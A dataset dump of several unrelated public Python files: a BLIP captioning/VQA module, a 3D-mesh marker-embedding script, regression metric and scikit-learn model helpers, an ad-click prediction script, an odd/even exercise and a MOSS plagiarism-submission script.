self.tokenizer.bos_token_id\n input_ids = input_ids[:, :-1] \n\n if sample:\n #nucleus sampling\n outputs = self.text_decoder.generate(input_ids=input_ids,\n max_length=max_length,\n min_length=min_length,\n do_sample=True,\n top_p=top_p,\n num_return_sequences=1,\n eos_token_id=self.tokenizer.sep_token_id,\n pad_token_id=self.tokenizer.pad_token_id, \n repetition_penalty=1.1, \n **model_kwargs)\n else:\n #beam search\n outputs = self.text_decoder.generate(input_ids=input_ids,\n max_length=max_length,\n min_length=min_length,\n num_beams=num_beams,\n eos_token_id=self.tokenizer.sep_token_id,\n pad_token_id=self.tokenizer.pad_token_id, \n repetition_penalty=repetition_penalty,\n **model_kwargs) \n \n captions = [] \n for output in outputs:\n caption = self.tokenizer.decode(output, skip_special_tokens=True) \n captions.append(caption[len(self.prompt):])\n return captions\n \n\ndef blip_decoder(pretrained='',**kwargs):\n model = BLIP_Decoder(**kwargs)\n if pretrained:\n model,msg = load_checkpoint(model,pretrained)\n assert(len(msg.missing_keys)==0)\n return model \n \ndef blip_feature_extractor(pretrained='',**kwargs):\n model = BLIP_Base(**kwargs)\n if pretrained:\n model,msg = load_checkpoint(model,pretrained)\n assert(len(msg.missing_keys)==0)\n return model \n\ndef init_tokenizer():\n tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\n tokenizer.add_special_tokens({'bos_token':'[DEC]'})\n tokenizer.add_special_tokens({'additional_special_tokens':['[ENC]']}) \n tokenizer.enc_token_id = tokenizer.additional_special_tokens_ids[0] \n return tokenizer\n\n\ndef create_vit(vit, image_size, use_grad_checkpointing=False, ckpt_layer=0, drop_path_rate=0):\n \n assert vit in ['base', 'large'], \"vit parameter must be base or large\"\n if vit=='base':\n vision_width = 768\n visual_encoder = VisionTransformer(img_size=image_size, patch_size=16, embed_dim=vision_width, depth=12, \n num_heads=12, use_grad_checkpointing=use_grad_checkpointing, ckpt_layer=ckpt_layer,\n drop_path_rate=0 or drop_path_rate\n ) \n elif vit=='large':\n vision_width = 1024\n visual_encoder = VisionTransformer(img_size=image_size, patch_size=16, embed_dim=vision_width, depth=24, \n num_heads=16, use_grad_checkpointing=use_grad_checkpointing, ckpt_layer=ckpt_layer,\n drop_path_rate=0.1 or drop_path_rate\n ) \n return visual_encoder, vision_width\n\ndef is_url(url_or_filename):\n parsed = urlparse(url_or_filename)\n return parsed.scheme in (\"http\", \"https\")\n\ndef load_checkpoint(model,url_or_filename):\n if is_url(url_or_filename):\n cached_file = download_cached_file(url_or_filename, check_hash=False, progress=True)\n checkpoint = torch.load(cached_file, map_location='cpu') \n elif os.path.isfile(url_or_filename): \n checkpoint = torch.load(url_or_filename, map_location='cpu') \n else:\n raise RuntimeError('checkpoint url or path is invalid')\n \n state_dict = checkpoint['model']\n \n state_dict['visual_encoder.pos_embed'] = interpolate_pos_embed(state_dict['visual_encoder.pos_embed'],model.visual_encoder) \n if 'visual_encoder_m.pos_embed' in model.state_dict().keys():\n state_dict['visual_encoder_m.pos_embed'] = interpolate_pos_embed(state_dict['visual_encoder_m.pos_embed'],\n model.visual_encoder_m) \n for key in model.state_dict().keys():\n if key in state_dict.keys():\n if state_dict[key].shape!=model.state_dict()[key].shape:\n del state_dict[key]\n \n msg = model.load_state_dict(state_dict,strict=False)\n print('load checkpoint from %s'%url_or_filename) \n return model,msg\n \n# BLIP VQA\n\nclass BLIP_VQA(nn.Module):\n def __init__(self, \n med_config = Path(LOCAL_PATH, 'blip_configs/med_config.json'), \n image_size = 480,\n vit = 'base',\n vit_grad_ckpt = False,\n vit_ckpt_layer = 0, \n ):\n \"\"\"\n Args:\n med_config (str): path for the mixture of encoder-decoder model's configuration file\n image_size (int): input image size\n vit (str): model size of vision transformer\n \"\"\" \n super().__init__()\n \n self.visual_encoder, vision_width = create_vit(vit, image_size, vit_grad_ckpt, vit_ckpt_layer, drop_path_rate=0.1)\n self.tokenizer = init_tokenizer() \n \n encoder_config = BertConfig.from_json_file(med_config)\n encoder_config.encoder_width = vision_width\n self.text_encoder = BertModel(config=encoder_config, add_pooling_layer=False) \n \n decoder_config = BertConfig.from_json_file(med_config) \n self.text_decoder = BertLMHeadModel(config=decoder_config) \n\n\n def forward(self, image, question, answer=None, n=None, weights=None, train=True, inference='rank', k_test=128):\n \n image_embeds = self.visual_encoder(image) \n image_atts = torch.ones(image_embeds.size()[:-1],dtype=torch.long).to(image.device)\n \n question = self.tokenizer(question, padding='longest', truncation=True, max_length=35, \n return_tensors=\"pt\").to(image.device) \n question.input_ids[:,0] = self.tokenizer.enc_token_id\n \n if train: \n '''\n n: number of answers for each question\n weights: weight for each answer\n ''' \n answer = self.tokenizer(answer, padding='longest', return_tensors=\"pt\").to(image.device) \n answer.input_ids[:,0] = self.tokenizer.bos_token_id\n answer_targets = answer.input_ids.masked_fill(answer.input_ids == self.tokenizer.pad_token_id, -100) \n\n question_output = self.text_encoder(question.input_ids, \n attention_mask = question.attention_mask, \n encoder_hidden_states = image_embeds,\n encoder_attention_mask = image_atts, \n return_dict = True) \n\n question_states = [] \n question_atts = [] \n for b, n in enumerate(n):\n question_states += [question_output.last_hidden_state[b]]*n\n question_atts += [question.attention_mask[b]]*n \n question_states = torch.stack(question_states,0) \n question_atts = torch.stack(question_atts,0) \n\n answer_output = self.text_decoder(answer.input_ids, \n attention_mask = answer.attention_mask, \n encoder_hidden_states = question_states,\n encoder_attention_mask = question_atts, \n labels = answer_targets,\n return_dict = True, \n reduction = 'none',\n ) \n \n loss = weights * answer_output.loss\n loss = loss.sum()/image.size(0)\n\n return loss\n \n\n else: \n question_output = self.text_encoder(question.input_ids, \n attention_mask = question.attention_mask, \n encoder_hidden_states = image_embeds,\n encoder_attention_mask = image_atts, \n return_dict = True) \n \n if inference=='generate':\n num_beams = 3\n question_states = question_output.last_hidden_state.repeat_interleave(num_beams,dim=0)\n question_atts = torch.ones(question_states.size()[:-1],dtype=torch.long).to(question_states.device)\n model_kwargs = {\"encoder_hidden_states\": question_states, \"encoder_attention_mask\":question_atts}\n \n bos_ids = torch.full((image.size(0),1),fill_value=self.tokenizer.bos_token_id,device=image.device)\n \n outputs = self.text_decoder.generate(input_ids=bos_ids,\n max_length=10,\n min_length=1,\n num_beams=num_beams,\n eos_token_id=self.tokenizer.sep_token_id,\n pad_token_id=self.tokenizer.pad_token_id, \n **model_kwargs)\n \n answers = [] \n for output in outputs:\n answer = self.tokenizer.decode(output, skip_special_tokens=True) \n answers.append(answer)\n return answers\n \n elif inference=='rank':\n max_ids = self.rank_answer(question_output.last_hidden_state, question.attention_mask, \n answer.input_ids, answer.attention_mask, k_test) \n return max_ids\n \n \n \n def rank_answer(self, question_states, question_atts, answer_ids, answer_atts, k):\n \n num_ques = question_states.size(0)\n start_ids = answer_ids[0,0].repeat(num_ques,1) # bos token\n \n start_output = self.text_decoder(start_ids, \n encoder_hidden_states = question_states,\n encoder_attention_mask = question_atts, \n return_dict = True,\n reduction = 'none') \n logits = start_output.logits[:,0,:] # first token's logit\n \n # topk_probs: top-k probability \n # topk_ids: [num_question, k] \n answer_first_token = answer_ids[:,1]\n prob_first_token = F.softmax(logits,dim=1).index_select(dim=1, index=answer_first_token) \n topk_probs, topk_ids = prob_first_token.topk(k,dim=1) \n \n # answer input: [num_question*k, answer_len] \n input_ids = []\n input_atts = []\n for b, topk_id in enumerate(topk_ids):\n input_ids.append(answer_ids.index_select(dim=0, index=topk_id))\n input_atts.append(answer_atts.index_select(dim=0, index=topk_id))\n input_ids = torch.cat(input_ids,dim=0) \n input_atts = torch.cat(input_atts,dim=0) \n\n targets_ids = input_ids.masked_fill(input_ids == self.tokenizer.pad_token_id, -100)\n\n # repeat encoder's output for top-k answers\n question_states = tile(question_states, 0, k)\n question_atts = tile(question_atts, 0, k)\n \n output = self.text_decoder(input_ids, \n attention_mask = input_atts, \n encoder_hidden_states = question_states,\n encoder_attention_mask = question_atts, \n labels = targets_ids,\n return_dict = True, \n reduction = 'none') \n \n log_probs_sum = -output.loss\n log_probs_sum = log_probs_sum.view(num_ques,k)\n\n max_topk_ids = log_probs_sum.argmax(dim=1) \n max_ids = topk_ids[max_topk_ids>=0,max_topk_ids]\n\n return max_ids\n \n \ndef blip_vqa(pretrained='',**kwargs):\n model = BLIP_VQA(**kwargs)\n if pretrained:\n model,msg = load_checkpoint(model,pretrained)\n# assert(len(msg.missing_keys)==0)\n return model \n\n\ndef tile(x, dim, n_tile):\n init_dim = x.size(dim)\n repeat_idx = [1] * x.dim()\n repeat_idx[dim] = n_tile\n x = x.repeat(*(repeat_idx))\n order_index = torch.LongTensor(np.concatenate([init_dim * np.arange(n_tile) + i for i in range(init_dim)]))\n return torch.index_select(x, dim, order_index.to(x.device)) \n \n \n","repo_name":"Navezjt/was-node-suite-comfyui","sub_path":"modules/BLIP/blip_module.py","file_name":"blip_module.py","file_ext":"py","file_size_in_byte":19603,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"19731967018","text":"import pymesh \nimport open3d as o3d\nimport os \nimport argparse\nimport numpy as np\nfrom copy import deepcopy\nimport transforms3d as xforms\nfrom IPython.core.debugger import set_trace\n\nosp = os.path\no3dg = o3d.geometry\no3du = o3d.utility\no3dv = o3d.visualization\n\n\ndef rotmat_from_vecs(v1, v2=np.asarray([0, 0, 1])):\n \"\"\" \n Returns a rotation matrix 1R2 that rotates v2 to v1\n :param v1: vector in frame 1\n :param v2: vector in frame 2\n :return:\n \"\"\"\n v1 = v1 / np.linalg.norm(v1)\n v2 = v2 / np.linalg.norm(v2)\n v = np.cross(v2, v1) \n vx = np.asarray([\n [0, -v[2], +v[1], 0], \n [+v[2], 0, -v[0], 0], \n [-v[1], +v[0], 0, 0], \n [0, 0, 0, 0]])\n dotp = np.dot(v1, v2) \n if abs(dotp + 1) < 1e-3:\n # find vector perpendicular to both v1 and v2\n v3 = np.cross(v1, v2)\n if np.linalg.norm(v3) < 1e-1:\n # HACK, assumes v2 = [0, 0, 1]\n v3 = np.asarray([0, 1, 0])\n # rotate around vector by 180 degrees\n T = np.eye(4)\n T[:3, :3] = xforms.axangles.axangle2mat(v3, np.pi)\n return T\n\n return np.eye(4) + vx + np.dot(vx, vx)/(1+dotp)\n\n\ndef pick_points(mesh, mesh_pymesh, object_name):\n \"\"\"\n Function for inteactively picking points\n \"\"\"\n print(\"\")\n print(\"1) Pick points using [shift + left click]\")\n print(\" Press [shift + right click] to undo point picking\")\n print(\"2) After picking points, press q for close the window\")\n # sample points on the mesh surface to be picked from\n pcd = mesh.sample_points_poisson_disk(10000)\n pcd.estimate_normals()\n\n # create interactive visualizer\n vis = o3dv.VisualizerWithEditing()\n vis.create_window(object_name)\n # vis.add_geometry(mesh)\n vis.add_geometry(pcd)\n vis.run() # user picks points\n vis.destroy_window()\n print(\"\")\n pt_idxs = vis.get_picked_points()\n\n # get the picked points and normals of the faces closest to those points\n pts = np.asarray(pcd.points)[pt_idxs]\n _, face_idxs, _ = pymesh.distance_to_mesh(mesh_pymesh, pts)\n normals = np.asarray(mesh.triangle_normals)[face_idxs]\n # normals = np.asarray(pcd.normals)[pt_idxs]\n if normals.ndim == 1:\n normals = normals[np.newaxis, :]\n return pts, normals\n\n\ndef pymesh2o3d(input_mesh):\n \"\"\"\n Convert a mesh from PyMesh to Open3D\n \"\"\"\n vertices_array = input_mesh.vertices.copy()\n faces_array = input_mesh.faces.copy()\n \n mesh_o3d = o3dg.TriangleMesh()\n mesh_o3d.vertices = o3du.Vector3dVector(vertices_array)\n mesh_o3d.triangles = o3du.Vector3iVector(faces_array)\n mesh_o3d.compute_vertex_normals()\n mesh_o3d.compute_triangle_normals()\n \n return mesh_o3d\n\n\ndef create_intruder(marker_diameter_mm):\n cyl_height = 10\n marker_depth_mm = np.ceil(marker_diameter_mm / 2.0)\n # uncomment the following line if the model is too thin\n # marker_depth_mm = 1.0\n # 0.5 mm added as tolerance for 3D printing\n cyl = o3dg.TriangleMesh.create_cylinder((marker_diameter_mm+0.5)/2.0, cyl_height)\n cyl.compute_vertex_normals()\n T = np.eye(4)\n T[2, 3] = -cyl_height/2.0 + marker_depth_mm\n cyl.transform(T)\n return cyl\n\n\ndef process_marker_locations(mesh_o3d, mesh_pymesh, markers):\n \"\"\"\n snaps marker locations to object surface\n and computes surface normals at marker locations\n \"\"\"\n dist2, face_idxs, nbrs = pymesh.distance_to_mesh(mesh_pymesh, markers)\n normals = np.asarray(mesh_o3d.triangle_normals)[face_idxs]\n \n # snap to surface\n vs = markers - nbrs\n vs /= np.linalg.norm(vs, axis=1, keepdims=True)\n markers -= np.sqrt(dist2)[:, np.newaxis] * vs\n return markers, normals\n\n\ndef embed(input_filename, output_dir, marker_diameter_mm, recut):\n input_filename = osp.expanduser(input_filename)\n object_name, ext = input_filename.split('/')[-1].split('.')\n output_dir = osp.expanduser(output_dir)\n\n input_mesh = pymesh.load_mesh(input_filename)\n # convert mesh to Open3D \n mesh_o3d = pymesh2o3d(input_mesh)\n\n # create intruder\n cyl = create_intruder(marker_diameter_mm)\n\n if not recut:\n # pick points\n pts, normals = pick_points(mesh_o3d, input_mesh, object_name)\n else:\n # read points\n points_filename = input_filename.split('/')[-1]\n points_filename = points_filename.replace('.stl', '_marker_locations.txt')\n points_filename = osp.join(output_dir, points_filename)\n d = np.loadtxt(points_filename, delimiter=' ')\n if d.ndim == 1:\n d = d[np.newaxis, :]\n d *= 1000.0\n pts, normals = process_marker_locations(mesh_o3d, input_mesh, d[:, :3])\n\n # transform intruders to their appropriate locations on the object surface\n intruders_o3d = []\n output_mesh = pymesh.meshio.form_mesh(input_mesh.vertices, input_mesh.faces)\n for pt, normal in zip(pts, normals):\n T = rotmat_from_vecs(-normal, [0, 0, 1])\n T[:3, 3] = pt\n intruder_o3d = deepcopy(cyl)\n intruder_o3d.transform(T)\n intruder_o3d.paint_uniform_color(np.random.rand(3, 1))\n intruders_o3d.append(intruder_o3d)\n\n intruder_pymesh = pymesh.meshio.form_mesh(\n np.asarray(intruder_o3d.vertices),\n np.asarray(intruder_o3d.triangles))\n # perform boolean operation to remove the intersecting part of the intruder \n # from the object mesh\n # change the engine in case it doesn't work\n # engined mentioned in https://docs.google.com/spreadsheets/d/1C6fW5oBFApvP2pk8omErZzbz7K9zxCHA2FiUu7IqgDg/edit?usp=sharing\n output_mesh = pymesh.boolean(output_mesh, intruder_pymesh,\n operation='difference', engine='auto')\n\n output_mesh_o3d = pymesh2o3d(output_mesh)\n # show\n # o3dv.draw_geometries(intruders_o3d + [mesh_o3d])\n # o3dv.draw_geometries([output_mesh_o3d])\n\n # save points and normals\n output_filename = osp.join(output_dir,\n '{:s}_final_marker_locations.txt'.format(object_name))\n header = 'px,py,pz,nx,ny,nz'\n np.savetxt(output_filename, np.hstack((pts/1000.0, normals)), delimiter=' ',\n header=header)\n print('{:s} written'.format(output_filename))\n\n output_filename = osp.join(output_dir,\n '{:s}.{:s}'.format(object_name, ext))\n o3d.io.write_triangle_mesh(output_filename, output_mesh_o3d)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--input_filename', required=True)\n parser.add_argument('--output_dir', required=True)\n parser.add_argument('--marker_diameter_mm', type=float, default=3,\n help=\"Diameter of marker as ordered\")\n parser.add_argument('--recut', action='store_true')\n args = parser.parse_args()\n embed(args.input_filename, args.output_dir, args.marker_diameter_mm, args.recut)\n","repo_name":"samarth-robo/contactpose_ros_utils","sub_path":"scripts/embed_marker_points.py","file_name":"embed_marker_points.py","file_ext":"py","file_size_in_byte":6428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"34179892377","text":"from sklearn.metrics import mean_squared_error, mean_absolute_error , r2_score\r\n\r\nfrom smogn import phi,phi_ctrl_pts\r\n\r\nimport pandas as pd\r\n\r\nimport numpy as np\r\n\r\ndef calculate_phi(y, method = \"auto\", xtrm_type = \"both\", coef = 1.5, ctrl_pts = None):\r\n # relevance method, method (\"auto\" or \"manual\")\r\n # distribution focus, xtrm_type (\"high\", \"low\", \"both\")\r\n # coefficient for box plot, coef\r\n # input for \"manual\" rel method, ctrl_pts\r\n phi_params = phi_ctrl_pts(y = y,method = method, xtrm_type = xtrm_type, coef = coef, ctrl_pts = ctrl_pts)\r\n y_phi = phi(y = y,ctrl_pts = phi_params)\r\n\r\n return y_phi\r\n\r\ndef root_mse(y, y_pred):\r\n return np.sqrt(mean_squared_error(y, y_pred))\r\n\r\ndef root_mae(y, y_pred):\r\n return np.sqrt(mean_absolute_error(y, y_pred))\r\n\r\ndef phi_weighted_r2(y, y_pred):\r\n y_phi=calculate_phi(y)\r\n return r2_score(y, y_pred, sample_weight=y_phi)\r\n\r\ndef phi_weighted_mse(y, y_pred):\r\n y_phi=calculate_phi(y)\r\n return mean_squared_error(y, y_pred, sample_weight=y_phi)\r\n\r\ndef phi_weighted_mae(y, y_pred):\r\n y_phi=calculate_phi(y)\r\n return mean_absolute_error(y, y_pred, sample_weight=y_phi)\r\n\r\ndef phi_weighted_root_mse(y, y_pred):\r\n y_phi=calculate_phi(y)\r\n return np.sqrt(mean_squared_error(y, y_pred, sample_weight=y_phi))\r\n\r\ndef phi_weighted_root_mae(y, y_pred):\r\n y_phi=calculate_phi(y)\r\n return np.sqrt(mean_absolute_error(y, y_pred, sample_weight=y_phi))\r\n\r\ndef sera (trues, preds, step = 0.001,return_err = False) :\r\n if not isinstance(preds, pd.DataFrame):\r\n preds = pd.DataFrame(preds)\r\n \r\n phi_trues= calculate_phi(trues)\r\n\r\n trues = trues.values\r\n tbl = pd.DataFrame(\r\n {'trues': trues,\r\n 'phi_trues': phi_trues,\r\n })\r\n tbl = pd.concat([tbl, preds], axis=1)\r\n ms = list(tbl.columns[2:])\r\n th = np.arange(0, 1 + step, step)\r\n errors = []\r\n for ind in th:\r\n errors.append(\r\n [sum(tbl.apply(lambda x: ((x['trues'] - x[y]) ** 2) if x['phi_trues'] >= ind else 0, axis=1)) for y in ms])\r\n\r\n areas = []\r\n for x in range(1, len(th)):\r\n areas.append([step *(errors[x - 1][y] + errors[x][y]) / 2 for y in range(len(ms))])\r\n areas = pd.DataFrame(data=areas, columns=ms)\r\n res = areas.apply(lambda x: sum(x))\r\n if return_err :\r\n return {\"sera\":res, \"errors\":errors, \"thrs\" :th}\r\n else:\r\n return res.item()","repo_name":"srtulon2/ibm","sub_path":"regression_metrics.py","file_name":"regression_metrics.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42140522515","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\nfrom sklearn import tree\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.model_selection import StratifiedKFold, cross_val_predict, cross_val_score\nimport warnings\nwarnings.filterwarnings('ignore')\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n#Build DT from Gridsearch CV\ndef buildDecisionTreeGS(random_seed, X_train, y_train, MS_list, MD_list, CW_list, scoring = \"balanced_accuracy\" ):\n params = {'min_samples_split': MS_list,\n 'max_depth': MD_list, 'random_state': [random_seed],\"class_weight\": CW_list}\n dt = DecisionTreeClassifier()\n grid = GridSearchCV(estimator=dt, param_grid=params, verbose=1, cv=5,scoring=scoring, n_jobs=-1)\n grid.fit(X_train, y_train)\n best_model = grid.best_estimator_\n return best_model\n\n#Build RF from Gridsearch CV\ndef buildRandomForestGS(random_seed, X_train, y_train, ET_list, MS_list, MD_list, CW_list, scoring = \"balanced_accuracy\" ):\n params = {'n_estimators': ET_list,'min_samples_split': MS_list,\n 'max_depth': MD_list, 'random_state': [random_seed],\"class_weight\": CW_list}\n rf = RandomForestClassifier()\n grid = GridSearchCV(estimator=rf, param_grid=params, verbose=1, cv=5,scoring=scoring, n_jobs=-1)\n grid.fit(X_train, y_train)\n best_model = grid.best_estimator_\n return best_model\n\n#Build SVM from Gridsearch CV\ndef buildSVM(X_train, y_train, CG_list, CW_list, scoring = \"balanced_accuracy\" ):\n params = {'C': CG_list,\n 'gamma': CG_list,\n 'kernel': ['rbf'],\n \"class_weight\": CW_list}\n svc = SVC()\n grid = GridSearchCV(estimator=svc, param_grid=params, verbose=1, cv=5, scoring=scoring, n_jobs=-1)\n grid.fit(X_train, y_train)\n best_model = grid.best_estimator_\n return best_model\n\ndef buildCustomSVM(myC, myGamma, myClassWeight):\n svm = SVC(kernel='rbf', C = 100, gamma =0.01, class_weight=myClassWeight)\n return svm\n\t\n\n#Fit model from Gridsearch CV\ndef fitModel(model, X_train, y_train):\n model.fit(X_train, y_train)\n return model\n\n#Use model to predict class\ndef predictClass(model,X):\n return model.predict(X)\n\n#Compute features important scores (only for Decision Tree and Random Forest)\ndef getImportantFeatures(rank,X_train, model):\n imp = model.feature_importances_\n feat_importances = pd.Series(imp, index=X_train.columns)\n print(\"Important Scores: \")\n top_features = feat_importances.nlargest(rank)\n return top_features\n\n#Plot important features\ndef plotImportantFeatures(top_features):\n plt.figure(figsize=(10,5))\n top_features.plot(kind='barh')\n plt.title(\"Ranking the important features\")\n plt.show()\n \n#Plot Decision Tree \ndef plotDecisionTree(X_train,DT_model):\n fn = X_train.columns\n cn = ['non-vul','vul']\n fig, axes = plt.subplots(nrows = 1,ncols = 1,figsize = (20,20), dpi=200)\n tree.plot_tree(DT_model,feature_names = fn, class_names=cn, filled = True, fontsize=12);\n \n#Plot Accuracy curve\ndef plotAccuracyCurve(x_axis_label, x_list, acc_train,acc_val):\n plt.figure(figsize=(10,5))\n plt.title(\"The Accuracy Curve\")\n plt.plot(acc_train, 'bo--', label = 'train')\n plt.plot(acc_val,'go--', label = 'valid')\n plt.xticks(np.arange(len(x_list)), x_list, rotation = 45)\n plt.xlabel(x_axis_label)\n plt.ylabel('Accuracy Rate')\n plt.legend()\n plt.show()\n\n\n","repo_name":"CrystalCo/multiclass_vulnerability_detection_in_binary_code","sub_path":"src/MLModels.py","file_name":"MLModels.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24521775556","text":"import sklearn\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn import tree\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import roc_auc_score\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\n\r\nnewdata = pd.read_csv(r'D:\\homework\\python data\\Ad_click_prediction_train.csv')\r\nnewdata.isnull().any()\r\ntrain_path = newdata\r\n# ------- 数据处理 -------\r\n# 缺失值填补 (众数填补)\r\ntrain_path['gender'] = train_path['gender'].fillna('Male')\r\ntrain_path['user_group_id'] = train_path['user_group_id'].fillna(3)\r\ntrain_path['age_level'] = train_path['age_level'].fillna(3)\r\ntrain_path['user_depth'] = train_path['user_depth'].fillna(3)\r\ntrain_path['city_development_index'] = train_path['city_development_index'].fillna(-100)\r\n\r\n# 哑变量编码\r\nfrom sklearn.preprocessing import LabelEncoder\r\ntrain_path.gender = LabelEncoder().fit_transform(np.array(train_path.gender))\r\ntrain_path.user_group_id = LabelEncoder().fit_transform(np.array(train_path.user_group_id))\r\ntrain_path.product_category_1 = LabelEncoder().fit_transform(np.array(train_path.product_category_1))\r\n\r\n\r\n# 选取变量\r\nfeatures_columns = ['product_category_1','user_group_id','gender','age_level','user_depth','city_development_index','var_1']\r\ntrain = train_path[features_columns]\r\ntarget = train_path['is_click']\r\nprint(train.info())\r\n\r\n# \r\nX_train, X_test, y_train, y_test = train_test_split(train, target, test_size=0.3,random_state=21)\r\n\r\n# model\r\nclf = tree.DecisionTreeClassifier()\r\nclf = clf.fit(X_train, y_train)\r\n\r\nacc = clf.score(X_test, y_test)\r\nauc = roc_auc_score(y_test,clf.predict(X_test))\r\n\r\n#run_dir = context['run_dir']\r\n#model_path = context['run_dir'] + '/clf.pmml'\r\nmetrics_result = {'auc': auc, 'acc': acc}\r\n\r\n# 输出\r\n#context.set_output('model_path', model_path)\r\n# context.set_output('metrics', metrics_result)\r\nprint(metrics_result)\r\n\r\ngbdt = GradientBoostingClassifier()\r\ngbdt = gbdt.fit(X_train, y_train)\r\n\r\nacc = gbdt.score(X_test, y_test)\r\nprint(acc)","repo_name":"amh-shiwenhao/homework-v1","sub_path":"import sklearn.py","file_name":"import sklearn.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9437654515","text":"import string\r\n\r\n\"\"\"\r\nAsk the user for a number. Depending on whether the number is even or odd, print out an appropriate message to the user.\r\n If the number is a multiple of 4, print out a different message.\r\n Ask the user for two numbers: one number to check (call it num) and one number to divide by (check).\r\n If check divides evenly into num, tell that to the user. If not, print a different appropriate message.\r\n\"\"\"\r\n\r\n\"\"\"Function\"\"\"\r\n\r\n\r\ndef first(): # Function first is to make sure user enters the right integer for first number.\r\n fair = True\r\n while fair: # While fair is True.\r\n try:\r\n number = int(input(\"Please enter an integer : \")) # User will enter a value and will be stored to number.\r\n if number >= 0: # Since 0 is even number, You give condition that is greater or equal to 0.\r\n return number # When user uses the first() function, they will receive value stored in number.\r\n else:\r\n raise ValueError # If user enters a character, it will raise a value error.\r\n except ValueError: # Value error message. Asking user to input the data again.\r\n print(\"You did not enter an integer. Please enter an integer again : \")\r\n\r\n\r\ndef second(): # Function second is to make sure user enters the right integer for the divisor.\r\n fair = True\r\n while fair: # While fair is True\r\n try:\r\n divider = int(input(\"Please enter an integer to divide by : \")) # User will enter a value and\r\n # will be stored to divider.\r\n if divider >= 1: # Since you can't divide by 0, therefore greater or equal to 1.\r\n return divider # When user uses second() function, they will receive value stored in divider.\r\n else:\r\n raise ValueError # If user enters a character, it will raise a value error.\r\n except ValueError: # Value error message. Asking user to input the data again.\r\n print(\"You did not enter an integer\")\r\n\r\n\r\ndef od(y): # Function that will calculate if number is odd or even.\r\n if y % 2 == 0: # % = modulus. Any value that is used on function will be put into modulus operation.\r\n print(\"Your number \", y, \"is an even number.\") # Result 0 means it's even.\r\n else:\r\n print(\"Your number \", y, \"Is an odd number.\") # Other than 0 means it's odd.\r\n\r\n\r\ndef four(z): # Function that will calculate if number is multiple of 4.\r\n if z % 4 == 0: # Any value that is used on function will be put into modulus operation.\r\n print(\"Your number \", z, \"is multiple of 4\") # Result 0 means it's multiple of 4.\r\n else:\r\n print(\"Your number \", z, \"is not a multiple of 4\") # Other than 0 means it's not multiple of 4.\r\n\r\n\r\ndef div(a, b): # Function that will calculate if number can be divide evenly by given number.\r\n if a % b == 0: # 2 values will be used on function and will be put into modulus operation.\r\n print(\"Your number \", a, \"divide evenly by \", b) # Result 0 means that it divide evenly.\r\n else:\r\n print(\"Your number \", a, \"does not divide evenly by \", b) # Other than 0 means it's doesn't divide evenly.\r\n\r\n\r\n\"\"\"Main\"\"\"\r\n\r\n\r\ndef main(): # Function that will run all other functions.\r\n numb = first() # User function first() to assign value to variable numb.\r\n od(numb) # Use variable numb, which is currently holding value from first() function to use od() function.\r\n four(numb) # Use variable numb, to use four() function.\r\n divider = second() # Use function second() to assign value to variable divider.\r\n div(numb, divider) # Use 2 variables (numb and divider) to user div() function.\r\n\r\n\r\n\"\"\"Only main() after this line\"\"\"\r\nmain() # Running main() Function\r\n","repo_name":"bboingee/Python-EvenOrOdd","sub_path":"Odd Or Even.py","file_name":"Odd Or Even.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33794283574","text":"#!/usr/bin/env python3\nimport sys\nfrom zipfile import ZipFile\nfrom glob import glob\nimport os.path\nimport subprocess\nimport shutil\nimport argparse\n\n\ndef unzip_directories(zipfilename):\n zipfile = ZipFile(zipfilename)\n working_dir = zipfilename + \"_extracted\"\n filenames = zipfile.namelist()\n final_filenames = [name for name in filenames if \"FINAL.zip\" in name]\n\n for name in final_filenames:\n zipfile.extract(name, path=working_dir)\n final_zipped_code = [os.path.join(working_dir, name)\n for name in final_filenames]\n\n student_submissions = []\n for zipped_code in final_zipped_code:\n final_code = ZipFile(zipped_code)\n working_subdir = zipped_code + \"_extracted\"\n final_code.extractall(path=working_subdir)\n student_submissions.append(working_subdir)\n return student_submissions, working_dir\n\n\ndef submit_to_moss(student_submissions,\n path_to_file_to_check,\n unzipped_folder,\n language):\n files = [os.path.join(submission, path_to_file_to_check)\n for submission in student_submissions]\n files_that_exist = [file_ for file_ in files if os.path.exists(file_)]\n if not files_that_exist:\n print(\"Couldn't find any files at that path: \", path_to_file_to_check)\n exit(1)\n call_args = [\"./moss\", \"-l\", language] + files_that_exist\n subprocess.call(call_args)\n shutil.rmtree(unzipped_folder)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"\"\"\n This is a short script to extract out the final code\n submitted by a student from Mimir.\n \"\"\")\n parser.add_argument('zip_file')\n parser.add_argument('path_to_file_to_check')\n parser.add_argument('language')\n args = parser.parse_args()\n student_submissions, unzipped_folder = unzip_directories(args.zip_file)\n submit_to_moss(student_submissions,\n args.path_to_file_to_check,\n unzipped_folder,\n args.language)\n\n\nif __name__ == \"__main__\":\n 